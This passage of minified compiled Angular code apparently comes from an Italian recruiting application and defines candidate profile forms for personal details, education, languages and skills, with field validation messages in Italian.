left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","cdf",3,"ngClass"],["type","text","formControlName","email",3,"ngClass"],["type","text","formControlName","need",3,"ngClass"],["type","text","formControlName","pec",3,"ngClass"],["type","text","formControlName","cellular",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","jobtitle",3,"items","ngClass"],["bindLabel","nome","bindValue","nome","placeholder","","formControlName","id_residence_state",3,"items","markFirst","ngClass"],["class","col-md-6",4,"ngIf"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","is_piva",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["class","form-group",4,"ngIf"],["cdkDropList","","cdkDropListOrientation","horizontal",1,"my-4",3,"cdkDropListDropped"],["cdkDrag","","class","badge badge-light m-1 customBadge",3,"cdkDragDisabled",4,"ngFor","ngForOf"],["bindLabel","status","bindValue","status","placeholder","","formControlName","status",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","recruitmentSource",3,"items","ngClass","addTag","addTagText"],["type","checkbox","formControlName","gdpr",1,"toggle-switch__checkbox"],["type","checkbox","formControlName","marketing_consent",1,"toggle-switch__checkbox"],["type","text","formControlName","piva",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","",3,"items","ngClass","change"],["mobilitazioneSelector",""],["cdkDrag","",1,"badge","badge-light","m-1","customBadge",3,"cdkDragDisabled"],["class","zmdi zmdi-close",3,"click",4,"ngIf"],[1,"zmdi","zmdi-close",3,"click"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"form",3),z.Vb(6,"div",4),z.Vb(7,"div",5),z.Vb(8,"h3",6),z.Ic(9),z.hc(10,"translate"),z.Vb(11,"label",7),z.Ic(12,"*"),z.Ub(),z.Ub(),z.Vb(13,"div",8),z.Qb(14,"input",9),z.Qb(15,"i",10),z.Vb(16,"div",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(19,"div",5),z.Vb(20,"h3",6),z.Ic(21),z.hc(22,"translate"),z.Vb(23,"label",7),z.Ic(24,"*"),z.Ub(),z.Ub(),z.Vb(25,"div",8),z.Qb(26,"input",12),z.Qb(27,"i",10),z.Vb(28,"div",11),z.Ic(29),z.hc(30,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(31,"div",5),z.Vb(32,"h3",6),z.Ic(33),z.hc(34,"translate"),z.Ub(),z.Vb(35,"div",8),z.Vb(36,"app-datetime-manager",13),z.cc("modelChange",function(e){return t._form.controls.birth_date.value=e}),z.Ub(),z.Qb(37,"i",10),z.Ub(),z.Ub(),z.Vb(38,"div",5),z.Vb(39,"h3",6),z.Ic(40),z.hc(41,"translate"),z.Ub(),z.Vb(42,"div",8),z.Qb(43,"input",14),z.Qb(44,"i",10),z.Vb(45,"div",11),z.Ic(46),z.hc(47,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(48,"div",5),z.Vb(49,"h3",6),z.Ic(50),z.hc(51,"translate"),z.Vb(52,"label",7),z.Ic(53,"*"),z.Ub(),z.Ub(),z.Vb(54,"div",8),z.Qb(55,"input",15),z.Qb(56,"i",10),z.Vb(57,"div",11),z.Ic(58),z.hc(59,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(60,"div",5),z.Vb(61,"h3",6),z.Ic(62),z.hc(63,"translate"),z.Ub(),z.Vb(64,"div",8),z.Qb(65,"input",16),z.Qb(66,"i",10),z.Ub(),z.Ub(),z.Vb(67,"div",5),z.Vb(68,"h3",6),z.Ic(69),z.hc(70,"translate"),z.Ub(),z.Vb(71,"div",8),z.Qb(72,"input",17),z.Qb(73,"i",10),z.Vb(74,"div",11),z.Ic(75),z.hc(76,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(77,"div",5),z.Vb(78,"h3",6),z.Ic(79),z.hc(80,"translate"),z.Ub(),z.Vb(81,"div",8),z.Qb(82,"input",18),z.Qb(83,"i",10),z.Vb(84,"div",11),z.Ic(85),z.hc(86,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(87,"div",5),z.Vb(88,"h3",6),z.Ic(89),z.hc(90,"translate"),z.Ub(),z.Vb(91,"div",8),z.Qb(92,"ng-select",19),z.Qb(93,"i",10),z.Ub(),z.Ub(),z.Vb(94,"div",5),z.Vb(95,"h3",6),z.Ic(96),z.hc(97,"translate"),z.Ub(),z.Vb(98,"div",8),z.Qb(99,"ng-select",20),z.Qb(100,"i",10),z.Ub(),z.Ub(),z.Gc(101,_i,12,11,"div",21),z.Vb(102,"div",5),z.Vb(103,"h3",22),z.Ic(104),z.hc(105,"translate"),z.Ub(),z.Vb(106,"div",23),z.Vb(107,"div",24),z.Qb(108,"input",25),z.Qb(109,"i",26),z.Ub(),z.Ub(),z.Ub(),z.Gc(110,yi,10,8,"div",21),z.Vb(111,"div",5),z.Vb(112,"h3",6),z.Ic(113),z.hc(114,"translate"),z.Ub(),z.Gc(115,Oi,4,3,"div",27),z.Vb(116,"div",28),z.cc("cdkDropListDropped",function(e){return t.drop(e)}),z.Gc(117,ki,3,3,"span",29),z.Ub(),z.Ub(),z.Vb(118,"div",5),z.Vb(119,"h3",6),z.Ic(120),z.hc(121,"translate"),z.Ub(),z.Vb(122,"div",8),z.Qb(123,"ng-select",30),z.Qb(124,"i",10),z.Ub(),z.Ub(),z.Vb(125,"div",5),z.Vb(126,"h3",6),z.Ic(127),z.hc(128,"translate"),z.Ub(),z.Vb(129,"div",8),z.Qb(130,"ng-select",31),z.hc(131,"translate"),z.Qb(132,"i",10),z.Ub(),z.Ub(),z.Vb(133,"div",5),z.Vb(134,"div",8),z.Vb(135,"h3",22),z.Ic(136),z.hc(137,"translate"),z.Ub(),z.Vb(138,"div",23),z.Vb(139,"div",24),z.Qb(140,"input",32),z.Qb(141,"i",26),z.Ub(),z.Ub(),z.Qb(142,"i",10),z.Ub(),z.Ub(),z.Vb(143,"div",5),z.Vb(144,"div",8),z.Vb(145,"h3",22),z.Ic(146),z.hc(147,"translate"),z.Ub(),z.Vb(148,"div",23),z.Vb(149,"div",24),z.Qb(150,"input",33),z.Qb(151,"i",26),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,49,"Anagrafica")," "),z.Cb(2),z.nc("formGroup",t._form),z.Cb(4),z.Kc("",z.ic(10,51,"Nome")," "),z.Cb(5),z.nc("ngClass",z.rc(97,Ui,t.validateField("name",t._form,t.isInEdit))),z.Cb(3),z.Kc("",z.ic(18,53,"Il nome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),z.Cb(4),z.Kc("",z.ic(22,55,"Cognome")," "),z.Cb(5),z.nc("ngClass",z.rc(99,Ui,t.validateField("surname",t._form,t.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(30,57,"Il cognome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),z.Cb(4),z.Kc("",z.ic(34,59,"Data di Nascita")," "),z.Cb(3),z.nc("disabled",t._form.disabled)("model",t._form.controls.birth_date.value)("inputClass",z.rc(101,Ui,t.validateField("birth_date",t._form,t.isInEdit))),z.Cb(4),z.Kc("",z.ic(41,61,"Codice Fiscale")," "),z.Cb(3),z.nc("ngClass",z.rc(103,Ui,t.validateField("cdf",t._form,t.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(47,63,"Il codice fiscale \xe8 composto da 16 caratteri e deve essere correttamente formattato!")," "),z.Cb(4),z.Kc("",z.ic(51,65,"Email")," "),z.Cb(5),z.nc("ngClass",z.rc(105,Ui,t.validateField("email",t._form,t.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(59,67,"La mail \xe8 obbligatoria e deve essere correttamente formattata!")," "),z.Cb(4),z.Kc("",z.ic(63,69,"Need")," "),z.Cb(3),z.nc("ngClass",z.rc(107,Ui,t.validateField("need",t._form,t.isInEdit))),z.Cb(4),z.Kc("",z.ic(70,71,"Pec")," "),z.Cb(3),z.nc("ngClass",z.rc(109,Ui,t.validateField("pec",t._form,t.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(76,73,"La PEC deve essere correttamente formattata!")," "),z.Cb(4),z.Kc("",z.ic(80,75,"Cellulare")," "),z.Cb(3),z.nc("ngClass",z.rc(111,Ui,t.validateField("cellular",t._form,t.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(86,77,"Il numero di telefono deve contenere solo numeri!")," "),z.Cb(4),z.Jc(z.ic(90,79,"Job Title")),z.Cb(3),z.nc("items",t.options.jobTitleOption)("ngClass",z.rc(113,Fi,t.validateField("jobtitle",t._form,t.isInEdit))),z.Cb(4),z.Jc(z.ic(97,81,"Nazione di residenza")),z.Cb(3),z.nc("items",t.options.nationOptions)("markFirst",!0)("ngClass",z.rc(115,Fi,t.validateField("id_residence_state",t._form,t.isInEdit))),z.Cb(2),z.nc("ngIf",t._form.controls.id_residence_state.value&&"Italia"!==t._form.controls.id_residence_state.value),z.Cb(3),z.Kc("",z.ic(105,83,"Ha Partita Iva")," "),z.Cb(6),z.nc("ngIf",t._form.controls.is_piva.value),z.Cb(3),z.Kc("",z.ic(114,85,"Disponibilt\xe0 Geografica")," "),z.Cb(2),z.nc("ngIf",t.isInEdit),z.Cb(2),z.nc("ngForOf",t._form.get("mobilitazione").value),z.Cb(3),z.Kc("",z.ic(121,87,"Status")," "),z.Cb(3),z.nc("items",t.options.statusOptions)("ngClass",z.rc(117,Fi,t.validateField("status",t._form,t.isInEdit))),z.Cb(4),z.Kc("",z.ic(128,89,"Fonte di reclutamento")," "),z.Cb(3),z.nc("items",t.options.recruitmentOptions)("ngClass",z.rc(119,Fi,t.validateField("recruitmentSource",t._form,t.isInEdit)))("addTag",!0)("addTagText",z.ic(131,91,"Premi invio per aggiungere il nuovo valore")),z.Cb(6),z.Kc("",z.ic(137,93,"GDPR")," "),z.Cb(10),z.Kc("",z.ic(147,95,"Consenso Marketing")," "))},directives:[C.w,C.o,C.i,C.c,C.n,C.g,S.l,T.a,A.a,S.n,C.a,I.b,S.m,I.a],pipes:[E.c],styles:[""]}),wi);function Si(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",37),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",38),z.Ub()}if(2&e){var n=z.gc(2);z.nc("hidden",!n._isInEdit)}}var Ti=function(e){return["form-control",e]};function Ai(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",23),z.Vb(1,"h3",20),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"div",21),z.Vb(5,"app-datetime-manager",39),z.cc("modelChange",function(e){return z.Ac(i),z.gc().$implicit.controls.dateAttainment.value=e}),z.Ub(),z.Qb(6,"i",32),z.Ub(),z.Ub()}if(2&e){var n=z.gc().$implicit,a=z.gc();z.Cb(2),z.Kc("",z.ic(3,4,"Data Conseguimento")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",n.controls.dateAttainment.value)("inputClass",z.rc(6,Ti,a.validateField("dateAttainment",n,a.isInEdit)))}}function Li(e,t){1&e&&(z.Vb(0,"div",23),z.Vb(1,"h3",27),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"div",28),z.Vb(5,"div",29),z.Qb(6,"input",40),z.Qb(7,"i",31),z.Ub(),z.Ub(),z.Qb(8,"i",32),z.Ub()),2&e&&(z.Cb(2),z.Kc("",z.ic(3,1,"Con lode")," "))}var Ei=function(e){return["form-control","border-select",e]};function Ni(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",15),z.Vb(6,"span",16),z.Qb(7,"i",17),z.Ub(),z.Gc(8,Si,2,1,"span",18),z.Ub(),z.Ub(),z.Vb(9,"div",19),z.Vb(10,"div",4),z.Vb(11,"h3",20),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",21),z.Vb(15,"ng-select",22),z.cc("change",function(e){z.Ac(i);var n=t.index;return z.gc().selectSchool(e,n)})("search",function(e){z.Ac(i);var n=t.index;return z.gc().filtraScuole(e,n)}),z.hc(16,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(17,"div",23),z.Vb(18,"h3",20),z.Ic(19),z.hc(20,"translate"),z.Ub(),z.Vb(21,"div",21),z.Qb(22,"ng-select",24),z.hc(23,"translate"),z.Ub(),z.Ub(),z.Vb(24,"div",23),z.Vb(25,"h3",20),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",21),z.Qb(29,"ng-select",25),z.hc(30,"translate"),z.Ub(),z.Ub(),z.Vb(31,"div",23),z.Vb(32,"h3",20),z.Ic(33),z.hc(34,"translate"),z.Ub(),z.Vb(35,"div",21),z.Qb(36,"ng-select",26),z.hc(37,"translate"),z.Ub(),z.Ub(),z.Vb(38,"div",23),z.Vb(39,"div",21),z.Vb(40,"h3",27),z.Ic(41),z.hc(42,"translate"),z.Ub(),z.Vb(43,"div",28),z.Vb(44,"div",29),z.Qb(45,"input",30),z.Qb(46,"i",31),z.Ub(),z.Ub(),z.Qb(47,"i",32),z.Ub(),z.Ub(),z.Gc(48,Ai,7,8,"div",33),z.Vb(49,"div",23),z.Vb(50,"h3",20),z.Ic(51),z.hc(52,"translate"),z.Ub(),z.Vb(53,"div",21),z.Qb(54,"input",34),z.Ub(),z.Ub(),z.Gc(55,Li,9,3,"div",33),z.Vb(56,"div",23),z.Vb(57,"h3",20),z.Ic(58),z.hc(59,"translate"),z.Ub(),z.Vb(60,"div",21),z.Qb(61,"ng-select",35),z.Ub(),z.Ub(),z.Vb(62,"div",23),z.Vb(63,"h3",20),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Vb(66,"div",21),z.Qb(67,"ng-select",36),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=t.index,o=z.gc();z.Cb(3),z.Kc(" ",n.controls.prof_educ_name.value?n.controls.prof_educ_name.value+" "+n.controls.prof_educ_level.value:z.ic(4,34,"Istruzione")+" #"+(a+1)," "),z.Cb(5),z.nc("ngIf",o._form.length>1),z.Cb(1),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(13,36,"Nome dell'Istituto")," "),z.Cb(3),z.nc("items",o.options.schoolsFiltered[a])("addTag",!0)("addTagText",z.ic(16,38,"Premi invio per aggiungere il nuovo valore"))("ngClass",z.rc(60,Ei,o.validateField("istruction_school",n,o.isInEdit))),z.Cb(4),z.Jc(z.ic(20,40,"Tipologia")),z.Cb(3),z.nc("items",o.options.educOptions)("ngClass",z.rc(62,Ei,o.validateField("prof_educ_name",n,o.isInEdit)))("addTag",!0)("addTagText",z.ic(23,42,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(27,44,"Livello")," "),z.Cb(3),z.nc("items",o.options.educLevelOptions)("ngClass",z.rc(64,Ei,o.validateField("prof_educ_level",n,o.isInEdit)))("addTag",!0)("addTagText",z.ic(30,46,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(34,48,"Titolo di studio")," "),z.Cb(3),z.nc("items",o.options.educTitlesOptions)("ngClass",z.rc(66,Ei,o.validateField("prof_educ_title",n,o.isInEdit)))("addTag",!0)("addTagText",z.ic(37,50,"Premi invio per aggiungere il nuovo valore")),z.Cb(5),z.Kc("",z.ic(42,52,"Titolo Conseguito")," "),z.Cb(7),z.nc("ngIf",n.controls.titoloConseguito.value),z.Cb(3),z.Jc(z.ic(52,54,"Voto")),z.Cb(3),z.nc("ngClass",z.rc(68,Ti,o.validateField("prof_educ_vote",n,o.isInEdit))),z.Cb(1),z.nc("ngIf",n.controls.prof_educ_vote.value>=100),z.Cb(3),z.Kc("",z.ic(59,56,"Regione")," "),z.Cb(3),z.nc("items",o.options.regions)("ngClass",z.rc(70,Ei,o.validateField("istruction_region",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(65,58,"Comune")," "),z.Cb(3),z.nc("items",o.options.cityOptions)("ngClass",z.rc(72,Ei,o.validateField("istruction_city",n,o.isInEdit)))}}var Ki,Mi=function(e){return["row",e]},Pi=((Ki=function(e){i(n,e);var t=a(n);function n(e,i){var a;return b(this,n),(a=t.call(this,e,"FormArray",!0)).utilsService=i,a}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({prof_educ_name:[null],prof_educ_level:[null],prof_educ_title:[null],titoloConseguito:[!1],dateAttainment:[null],prof_educ_vote:[null],istruction_region:[null],istruction_city:[null],istruction_school:[null],instructionHasLode:[!1]})}},{key:"selectSchool",value:function(e,t){var i="",n="",a="";e&&e.nome_scuola&&(i=e.regione,n=e.comune,a=e.nome_scuola);var o=this._form.controls[t];o.controls.istruction_region.setValue(i),o.controls.istruction_city.setValue(n),this.filtraScuole({term:a},t)}},{key:"filtraScuole",value:function(e,t){var i=this;e&&e.term&&e.term.length>2&&this.utilsService.searchSchools(e.term).subscribe(function(e){e.status&&(i.options.schoolsFiltered[t]=e.message)})}}]),n}(le.a)).\u0275fac=function(e){return new(e||Ki)(z.Pb(C.e),z.Pb(V.a))},Ki.\u0275cmp=z.Jb({type:Ki,selectors:[["app-candidate-view-edit-istruzione"]],features:[z.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],["bindLabel","nome_scuola","bindValue","nome_scuola","placeholder","","formControlName","istruction_school",3,"items","addTag","addTagText","ngClass","change","search"],[1,"col-md-6"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_name",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_level",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_title",3,"items","ngClass","addTag","addTagText"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","titoloConseguito",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["class","col-md-6",4,"ngIf"],["type","text","formControlName","prof_educ_vote",3,"ngClass"],["bindLabel","nome_regione","bindValue","nome_regione","placeholder","","formControlName","istruction_region",3,"items","ngClass"],["bindLabel","nome_comune","bindValue","nome_comune","placeholder","","formControlName","istruction_city",3,"items","ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],["placeholder","","mode","month","format","MM / YYYY","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","checkbox","formControlName","instructionHasLode",1,"toggle-switch__checkbox"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,Ni,68,74,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,6,"Istruzione")," "),z.Cb(2),z.nc("ngClass",z.rc(12,Mi,t.rowStyle)),z.Cb(3),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,8,"Aggiungi Istruzione")," "),z.Cb(4),z.Kc("",z.ic(18,10,"Rimuovi Istruzioni Vuote")," "))},directives:[S.l,Ue.a,S.m,Ue.c,S.n,C.o,C.i,A.a,C.n,C.g,C.a,C.c,T.a],pipes:[E.c],styles:[""]}),Ki);function Ji(e,t){if(1&e&&(z.Qb(0,"span"),z.hc(1,"lowercase")),2&e){var i=z.gc().$implicit;z.Fb("fi fi-",z.ic(1,3,i.controls.lang_language.value.flag),"")}}function qi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",29),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",30),z.Ub()}if(2&e){var n=z.gc(2);z.nc("hidden",!n._isInEdit)}}var Gi=function(e){return["form-control","border-select",e]},ji=function(e){return["form-control","textareaCustom",e]};function Di(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Gc(3,Ji,2,5,"span",15),z.Ic(4),z.hc(5,"translate"),z.Ub(),z.Vb(6,"div",16),z.Vb(7,"span",17),z.Qb(8,"i",18),z.Ub(),z.Gc(9,qi,2,1,"span",19),z.Ub(),z.Ub(),z.Vb(10,"div",20),z.Vb(11,"div",21),z.Vb(12,"h3",22),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"div",23),z.Vb(16,"ng-select",24),z.cc("change",function(e){return z.Ac(i),z.gc().setFlag(e)}),z.hc(17,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(18,"div",21),z.Vb(19,"h3",22),z.Ic(20),z.hc(21,"translate"),z.Ub(),z.Vb(22,"div",23),z.Qb(23,"ng-select",25),z.Ub(),z.Ub(),z.Vb(24,"div",21),z.Vb(25,"h3",22),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",23),z.Qb(29,"ng-select",26),z.Ub(),z.Ub(),z.Vb(30,"div",4),z.Vb(31,"h3",22),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"div",23),z.Vb(35,"textarea",27),z.Ic(36,"                            "),z.Ub(),z.Qb(37,"i",28),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=t.index,o=z.gc();z.Cb(3),z.nc("ngIf",n.controls.lang_language.value&&n.controls.lang_language.value.flag),z.Cb(1),z.Kc(" ",n.controls.lang_language.value?n.controls.lang_language.value.name:z.ic(5,17,"Lingua")+" #"+(a+1)," "),z.Cb(5),z.nc("ngIf",o._form.length>1),z.Cb(1),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(14,19,"Lingua")," "),z.Cb(3),z.nc("items",o.options.languagesListOpt)("ngClass",z.rc(29,Gi,o.validateField("lang_language",n,o.isInEdit)))("addTag",!0)("addTagText",z.ic(17,21,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(21,23,"Parlato")," "),z.Cb(3),z.nc("items",o.options.languagesLevelOpt)("ngClass",z.rc(31,Gi,o.validateField("lang_parlato",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(27,25,"Scritto")," "),z.Cb(3),z.nc("items",o.options.languagesLevelOpt)("ngClass",z.rc(33,Gi,o.validateField("lang_scritto",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(33,27,"Note")," "),z.Cb(3),z.nc("ngClass",z.rc(35,ji,o.validateField("lang_note",n,o.isInEdit)))}}var Ri,Wi=function(e){return["row",e]},$i=((Ri=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!0)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({lang_language:[null],lang_parlato:[null],lang_scritto:[null],lang_note:[null]})}},{key:"setFlag",value:function(e){var t="";return e.flag&&(t=e.flag.toLowerCase()),t}}]),n}(le.a)).\u0275fac=function(e){return new(e||Ri)(z.Pb(C.e))},Ri.\u0275cmp=z.Jb({type:Ri,selectors:[["app-candidate-view-edit-lingue"]],features:[z.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[3,"class",4,"ngIf"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","placeholder","","formControlName","lang_language",3,"items","ngClass","addTag","addTagText","change"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_parlato",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_scritto",3,"items","ngClass"],["formControlName","lang_note","autosize","","placeholder","",3,"ngClass"],[1,"form-group__bar"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,Di,38,37,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,6,"Lingue")," "),z.Cb(2),z.nc("ngClass",z.rc(12,Wi,t.rowStyle)),z.Cb(3),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,8,"Aggiungi Lingua")," "),z.Cb(4),z.Kc("",z.ic(18,10,"Rimuovi Lingue Vuote")," "))},directives:[S.l,Ue.a,S.m,Ue.c,S.n,C.o,C.i,A.a,C.n,C.g,C.c,g.a],pipes:[E.c,S.k],styles:[""]}),Ri),Bi=["skillsSelector"];function Yi(e,t){1&e&&z.Qb(0,"i"),2&e&&z.Fb("zmdi zmdi-",t.index<t.value?"favorite":"favorite-outline","")}var Hi=function(e){return["form-control","border-select",e]},Zi=function(){return["one","two","three","four","five"]};function Xi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.Ub(),z.Vb(4,"div",15),z.Vb(5,"span",16),z.Qb(6,"i",17),z.Ub(),z.Vb(7,"span",18),z.cc("click",function(){z.Ac(i);var e=t.index;return z.gc()._form.removeAt(e)}),z.Qb(8,"i",19),z.Ub(),z.Ub(),z.Ub(),z.Vb(9,"div",20),z.Vb(10,"div",21),z.Vb(11,"h3",22),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",6),z.Qb(15,"ng-select",23),z.Ub(),z.Ub(),z.Vb(16,"div",21),z.Vb(17,"h3",22),z.Ic(18),z.hc(19,"translate"),z.Ub(),z.Vb(20,"div",6),z.Qb(21,"ng-select",24),z.Ub(),z.Ub(),z.Vb(22,"div",21),z.Vb(23,"h3",22),z.Ic(24),z.hc(25,"translate"),z.Ub(),z.Vb(26,"div",6),z.Qb(27,"ng-select",25),z.Ub(),z.Ub(),z.Vb(28,"div",21),z.Vb(29,"h3",22),z.Ic(30),z.hc(31,"translate"),z.Ub(),z.Vb(32,"div",6),z.Qb(33,"ng-select",26),z.Ub(),z.Ub(),z.Vb(34,"div",21),z.Vb(35,"h3",22),z.Ic(36),z.hc(37,"translate"),z.Ub(),z.Vb(38,"div",6),z.Qb(39,"rating",27),z.Ub(),z.Ub(),z.Vb(40,"div",21),z.Vb(41,"h3",22),z.Ic(42),z.hc(43,"translate"),z.Ub(),z.Vb(44,"div",6),z.Vb(45,"rating",28),z.Gc(46,Yi,1,3,"ng-template",null,29,z.Hc),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=z.xc(47),o=z.gc();z.Cb(3),z.Kc(" ",n.controls.skill.value," 